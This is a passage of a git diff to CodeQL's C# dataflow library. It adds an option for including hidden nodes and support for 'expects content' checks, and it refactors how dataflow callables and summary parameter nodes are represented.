-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl5.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl5.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl5.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImpl5.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImplCommon.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImplCommon.qll
index 100ffde2616..0079b259260 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImplCommon.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowImplCommon.qll
@@ -305,7 +305,7 @@ cached
 private module Cached {
   /**
    * If needed, call this predicate from `DataFlowImplSpecific.qll` in order to
-   * force a stage-dependency on the `DataFlowImplCommon.qll` stage and therby
+   * force a stage-dependency on the `DataFlowImplCommon.qll` stage and thereby
    * collapsing the two stages.
    */
   cached
@@ -328,6 +328,9 @@ private module Cached {
   cached
   predicate clearsContentCached(Node n, ContentSet c) { clearsContent(n, c) }
 
+  cached
+  predicate expectsContentCached(Node n, ContentSet c) { expectsContent(n, c) }
+
   cached
   predicate isUnreachableInCallCached(Node n, DataFlowCall call) { isUnreachableInCall(n, call) }
 
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll
index 60825ea4667..a2bbad9ec5d 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll
@@ -19,7 +19,7 @@ private import semmle.code.csharp.frameworks.system.Collections
 private import semmle.code.csharp.frameworks.system.threading.Tasks
 
 /** Gets the callable in which this node occurs. */
-DataFlowCallable nodeGetEnclosingCallable(Node n) { result = n.getEnclosingCallable() }
+DataFlowCallable nodeGetEnclosingCallable(NodeImpl n) { result = n.getEnclosingCallableImpl() }
 
 /** Holds if `p` is a `ParameterNode` of `c` with position `pos`. */
 predicate isParameterNode(ParameterNodeImpl p, DataFlowCallable c, ParameterPosition pos) {
@@ -65,9 +65,9 @@ abstract class NodeImpl extends Node {
 
 private class ExprNodeImpl extends ExprNode, NodeImpl {
   override DataFlowCallable getEnclosingCallableImpl() {
-    result = this.getExpr().(CIL::Expr).getEnclosingCallable()
+    result.getUnderlyingCallable() = this.getExpr().(CIL::Expr).getEnclosingCallable()
     or
-    result = this.getControlFlowNodeImpl().getEnclosingCallable()
+    result.getUnderlyingCallable() = this.getControlFlowNodeImpl().getEnclosingCallable()
   }
 
   override DotNet::Type getTypeImpl() {
@@ -421,7 +421,7 @@ predicate simpleLocalFlowStep(Node nodeFrom, Node nodeTo) {
   or
   exists(Ssa::Definition def |
     LocalFlow::localSsaFlowStepUseUse(def, nodeFrom, nodeTo) and
-    not FlowSummaryImpl::Private::Steps::summaryClearsContentArg(nodeFrom, _) and
+    not FlowSummaryImpl::Private::Steps::prohibitsUseUseFlow(nodeFrom) and
     not LocalFlow::usesInstanceField(def)
   )
   or
@@ -506,10 +506,10 @@ private predicate fieldOrPropertyStore(Expr e, Content c, Expr src, Expr q, bool
       f instanceof InstanceFieldOrProperty
       or
       exists(
-        FlowSummary::SummarizedCallable callable,
+        FlowSummaryImpl::Public::SummarizedCallable sc,
         FlowSummaryImpl::Public::SummaryComponentStack input
       |
-        callable.propagatesFlow(input, _, _) and
+        sc.propagatesFlow(input, _, _) and
         input.contains(FlowSummary::SummaryComponent::content(f.getContent()))
       )
     )
@@ -693,9 +693,12 @@ private module Cached {
       not def.(Ssa::ExplicitDefinition).getADefinition() instanceof
         AssignableDefinitions::ImplicitParameterDefinition
     } or
-    TExplicitParameterNode(DotNet::Parameter p) { p = any(DataFlowCallable c).getAParameter() } or
+    TExplicitParameterNode(DotNet::Parameter p) {
+      p = any(DataFlowCallable dfc).asCallable().getAParameter()
+    } or
     TInstanceParameterNode(Callable c) {
-      c.isUnboundDeclaration() and not c.(Modifiable).isStatic()
+      c = any(DataFlowCallable dfc).asCallable() and
+      not c.(Modifiable).isStatic()
     } or
     TYieldReturnNode(ControlFlow::Nodes::ElementNode cfn) {
       any(Callable c).canYieldReturn(cfn.getElement())
@@ -736,9 +739,15 @@ private module Cached {
         )
       )
     } or
-    TSummaryNode(FlowSummary::SummarizedCallable c, FlowSummaryImpl::Private::SummaryNodeState state) {
+    TSummaryNode(
+      FlowSummaryImpl::Public::SummarizedCallable c,
+      FlowSummaryImpl::Private::SummaryNodeState state
+    ) {
       FlowSummaryImpl::Private::summaryNodeRange(c, state)
     } or
+    TSummaryParameterNode(FlowSummaryImpl::Public::SummarizedCallable c, ParameterPosition pos) {
+      FlowSummaryImpl::Private::summaryParameterNodeRange(c, pos)
+    } or
     TParamsArgumentNode(ControlFlow::Node callCfn) {
       callCfn = any(Call c | isParamsArg(c, _, _)).getAControlFlowNode()
     }
@@ -760,7 +769,7 @@ private module Cached {
     or
     // Simple flow through library code is included in the exposed local
     // step relation, even though flow is technically inter-procedural
-    FlowSummaryImpl::Private::Steps::summaryThroughStep(nodeFrom, nodeTo, true)
+    FlowSummaryImpl::Private::Steps::summaryThroughStepValue(nodeFrom, nodeTo)
   }
 
   cached
@@ -810,11 +819,7 @@ predicate nodeIsHidden(Node n) {
     def instanceof Ssa::ImplicitCallDefinition
   )
   or
-  exists(Parameter p | p = n.(ParameterNode).getParameter() |
-    not p.fromSource()
-    or
-    p.getCallable() instanceof FlowSummary::SummarizedCallable
-  )
+  exists(Parameter p | p = n.(ParameterNode).getParameter() | not p.fromSource())
   or
   n =
     TInstanceParameterNode(any(Callable c |
@@ -831,6 +836,8 @@ predicate nodeIsHidden(Node n) {
   or
   n instanceof SummaryNode
   or
+  n instanceof SummaryParameterNode
+  or
   n instanceof ParamsArgumentNode
   or
   n.asExpr() = any(WithExpr we).getInitializer()
@@ -845,7 +852,9 @@ class SsaDefinitionNode extends NodeImpl, TSsaDefinitionNode {
   /** Gets the underlying SSA definition. */
   Ssa::Definition getDefinition() { result = def }
 
-  override DataFlowCallable getEnclosingCallableImpl() { result = def.getEnclosingCallable() }
+  override DataFlowCallable getEnclosingCallableImpl() {
+    result.getUnderlyingCallable() = def.getEnclosingCallable()
+  }
 
   override Type getTypeImpl() { result = def.getSourceVariable().getType() }
 
@@ -877,10 +886,12 @@ private module ParameterNodes {
     }
 
     override predicate isParameterOf(DataFlowCallable c, ParameterPosition pos) {
-      c.getParameter(pos.getPosition()) = parameter
+      c.asCallable().getParameter(pos.getPosition()) = parameter
     }
 
-    override DataFlowCallable getEnclosingCallableImpl() { result = parameter.getCallable() }
+    override DataFlowCallable getEnclosingCallableImpl() {
+      result.asCallable() = parameter.getCallable()
+    }
 
     override DotNet::Type getTypeImpl() { result = parameter.getType() }
 
@@ -901,10 +912,12 @@ private module ParameterNodes {
     Callable getCallable() { result = callable }
 
     override predicate isParameterOf(DataFlowCallable c, ParameterPosition pos) {
-      callable = c and pos.isThisParameter()
+      callable = c.asCallable() and pos.isThisParameter()
     }
 
-    override DataFlowCallable getEnclosingCallableImpl() { result = callable }
+    override DataFlowCallable getEnclosingCallableImpl() {
+      result.getUnderlyingCallable() = callable
+    }
 
     override Type getTypeImpl() { result = callable.getDeclaringType() }
 
@@ -951,9 +964,35 @@ private module ParameterNodes {
 
     override predicate isParameterOf(DataFlowCallable c, ParameterPosition pos) {
       pos.isImplicitCapturedParameterPosition(def.getSourceVariable().getAssignable()) and
-      c = this.getEnclosingCallable()
+      c.getUnderlyingCallable() = this.getEnclosingCallable()
     }
   }
+
+  /** A parameter for a library callable with a flow summary. */
+  class SummaryParameterNode extends ParameterNodeImpl, TSummaryParameterNode {
+    private FlowSummaryImpl::Public::SummarizedCallable sc;
+    private ParameterPosition pos_;
+
+    SummaryParameterNode() { this = TSummaryParameterNode(sc, pos_) }
+
+    override predicate isParameterOf(DataFlowCallable c, ParameterPosition pos) {
+      sc = c.asSummarizedCallable() and pos = pos_
+    }
+
+    override DataFlowCallable getEnclosingCallableImpl() { result.asSummarizedCallable() = sc }
+
+    override Type getTypeImpl() {
+      exists(int i | pos_.getPosition() = i and result = sc.getParameter(i).getType())
+      or
+      pos_.isThisParameter() and result = sc.getDeclaringType()
+    }
+
+    override ControlFlow::Node getControlFlowNodeImpl() { none() }
+
+    override EmptyLocation getLocationImpl() { any() }
+
+    override string toStringImpl() { result = "parameter " + pos_ + " of " + sc }
+  }
 }
 
 import ParameterNodes
@@ -1039,7 +1078,9 @@ private module ArgumentNodes {
       call.getControlFlowNode() = cfn
     }
 
-    override DataFlowCallable getEnclosingCallableImpl() { result = cfn.getEnclosingCallable() }
+    override DataFlowCallable getEnclosingCallableImpl() {
+      result.getUnderlyingCallable() = cfn.getEnclosingCallable()
+    }
 
     override Type getTypeImpl() { result = v.getType() }
 
@@ -1066,7 +1107,9 @@ private module ArgumentNodes {
 
     override ControlFlow::Node getControlFlowNodeImpl() { result = cfn }
 
-    override DataFlowCallable getEnclosingCallableImpl() { result = cfn.getEnclosingCallable() }
+    override DataFlowCallable getEnclosingCallableImpl() {
+      result.getUnderlyingCallable() = cfn.getEnclosingCallable()
+    }
 
     override Type getTypeImpl() { result = cfn.getElement().(Expr).getType() }
 
@@ -1103,7 +1146,9 @@ private module ArgumentNodes {
       pos.getPosition() = this.getParameter().getPosition()
     }
 
-    override DataFlowCallable getEnclosingCallableImpl() { result = callCfn.getEnclosingCallable() }
+    override DataFlowCallable getEnclosingCallableImpl() {
+      result.getUnderlyingCallable() = callCfn.getEnclosingCallable()
+    }
 
     override Type getTypeImpl() { result = this.getParameter().getType() }
 
@@ -1182,7 +1227,9 @@ private module ReturnNodes {
 
     override NormalReturnKind getKind() { any() }
 
-    override DataFlowCallable getEnclosingCallableImpl() { result = yrs.getEnclosingCallable() }
+    override DataFlowCallable getEnclosingCallableImpl() {
+      result.getUnderlyingCallable() = yrs.getEnclosingCallable()
+    }
 
     override Type getTypeImpl() { result = yrs.getEnclosingCallable().getReturnType() }
 
@@ -1206,7 +1253,9 @@ private module ReturnNodes {
 
     override NormalReturnKind getKind() { any() }
 
-    override DataFlowCallable getEnclosingCallableImpl() { result = expr.getEnclosingCallable() }
+    override DataFlowCallable getEnclosingCallableImpl() {
+      result.getUnderlyingCallable() = expr.getEnclosingCallable()
+    }
 
     override Type getTypeImpl() { result = expr.getEnclosingCallable().getReturnType() }
 
@@ -1408,12 +1457,12 @@ import OutNodes
 
 /** A data-flow node used to model flow summaries. */
 class SummaryNode extends NodeImpl, TSummaryNode {
-  private FlowSummary::SummarizedCallable c;
+  private FlowSummaryImpl::Public::SummarizedCallable c;
   private FlowSummaryImpl::Private::SummaryNodeState state;
 
   SummaryNode() { this = TSummaryNode(c, state) }
 
-  override DataFlowCallable getEnclosingCallableImpl() { result = c }
+  override DataFlowCallable getEnclosingCallableImpl() { result.asSummarizedCallable() = c }
 
   override DataFlowType getDataFlowType() {
     result = FlowSummaryImpl::Private::summaryNodeType(this)
@@ -1504,9 +1553,9 @@ predicate jumpStep(Node pred, Node succ) {
     flr.hasNonlocalValue()
   )
   or
-  exists(JumpReturnKind jrk, DataFlowCall call |
+  exists(JumpReturnKind jrk, NonDelegateDataFlowCall call |
     FlowSummaryImpl::Private::summaryReturnNode(pred, jrk) and
-    viableCallable(call) = jrk.getTarget() and
+    jrk.getTarget() = call.getATarget(_) and
     succ = getAnOutNode(call, jrk.getTargetReturnKind())
   )
 }
@@ -1714,6 +1763,14 @@ predicate clearsContent(Node n, Content c) {
   )
 }
 
+/**
+ * Holds if the value that is being tracked is expected to be stored inside content `c`
+ * at node `n`.
+ */
+predicate expectsContent(Node n, ContentSet c) {
+  FlowSummaryImpl::Private::Steps::summaryExpectsContent(n, c)
+}
+
 /**
  * Holds if the node `n` is unreachable when the call context is `call`.
  */
@@ -1846,7 +1903,9 @@ private module PostUpdateNodes {
           .hasExprPath(_, cfn, _, call.getControlFlowNode())
     }
 
-    override DataFlowCallable getEnclosingCallableImpl() { result = cfn.getEnclosingCallable() }
+    override DataFlowCallable getEnclosingCallableImpl() {
+      result.getUnderlyingCallable() = cfn.getEnclosingCallable()
+    }
 
     override DotNet::Type getTypeImpl() { result = oc.getType() }
 
@@ -1864,7 +1923,9 @@ private module PostUpdateNodes {
 
     override ExprNode getPreUpdateNode() { cfn = result.getControlFlowNode() }
 
-    override DataFlowCallable getEnclosingCallableImpl() { result = cfn.getEnclosingCallable() }
+    override DataFlowCallable getEnclosingCallableImpl() {
+      result.getUnderlyingCallable() = cfn.getEnclosingCallable()
+    }
 
     override Type getTypeImpl() { result = cfn.getElement().(Expr).getType() }
 
@@ -1952,11 +2013,12 @@ class LambdaCallKind = Unit;
 /** Holds if `creation` is an expression that creates a delegate for `c`. */
 predicate lambdaCreation(ExprNode creation, LambdaCallKind kind, DataFlowCallable c) {
   exists(Expr e | e = creation.getExpr() |
-    c = e.(AnonymousFunctionExpr)
+    c.getUnderlyingCallable() = e.(AnonymousFunctionExpr)
     or
-    c = e.(CallableAccess).getTarget().getUnboundDeclaration()
+    c.getUnderlyingCallable() = e.(CallableAccess).getTarget().getUnboundDeclaration()
     or
-    c = e.(AddressOfExpr).getOperand().(CallableAccess).getTarget().getUnboundDeclaration()
+    c.getUnderlyingCallable() =
+      e.(AddressOfExpr).getOperand().(CallableAccess).getTarget().getUnboundDeclaration()
   ) and
   kind = TMkUnit()
 }
@@ -2039,7 +2101,7 @@ abstract class SyntheticField extends string {
 predicate containerContent(DataFlow::Content c) { c instanceof DataFlow::ElementContent }
 
 /** Gets the string representation of the parameters of `c`. */
-string parameterQualifiedTypeNamesToString(DataFlowCallable c) {
+string parameterQualifiedTypeNamesToString(DotNet::Callable c) {
   result =
     concat(Parameter p, int i |
       p = c.getParameter(i)
@@ -2053,7 +2115,7 @@ string parameterQualifiedTypeNamesToString(DataFlowCallable c) {
  */
 module Csv {
   /** Holds if the summary should apply for all overrides of `c`. */
-  predicate isBaseCallableOrPrototype(DataFlowCallable c) {
+  predicate isBaseCallableOrPrototype(DotNet::Callable c) {
     c.getDeclaringType() instanceof Interface
     or
     exists(Modifiable m | m = [c.(Modifiable), c.(Accessor).getDeclaration()] |
@@ -2064,12 +2126,12 @@ module Csv {
   }
 
   /** Gets a string representing whether the summary should apply for all overrides of `c`. */
-  private string getCallableOverride(DataFlowCallable c) {
+  private string getCallableOverride(DotNet::Callable c) {
     if isBaseCallableOrPrototype(c) then result = "true" else result = "false"
   }
 
   /** Computes the first 6 columns for CSV rows of `c`. */
-  string asPartialModel(DataFlowCallable c) {
+  string asPartialModel(DotNet::Callable c) {
     exists(string namespace, string type, string name |
       c.getDeclaringType().hasQualifiedName(namespace, type) and
       c.hasQualifiedName(_, name) and
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll
index 70e41839602..388179eeb8e 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll
@@ -40,8 +40,8 @@ class Node extends TNode {
   final DotNet::Type getType() { result = this.(NodeImpl).getTypeImpl() }
 
   /** Gets the enclosing callable of this node. */
-  final DataFlowCallable getEnclosingCallable() {
-    result = this.(NodeImpl).getEnclosingCallableImpl()
+  final Callable getEnclosingCallable() {
+    result = this.(NodeImpl).getEnclosingCallableImpl().getUnderlyingCallable()
   }
 
   /** Gets the control flow node corresponding to this node, if any. */
@@ -103,7 +103,7 @@ class ParameterNode extends Node instanceof ParameterNodeImpl {
   DotNet::Parameter getParameter() {
     exists(DataFlowCallable c, ParameterPosition ppos |
       super.isParameterOf(c, ppos) and
-      result = c.getParameter(ppos.getPosition())
+      result = c.getUnderlyingCallable().getParameter(ppos.getPosition())
     )
   }
 
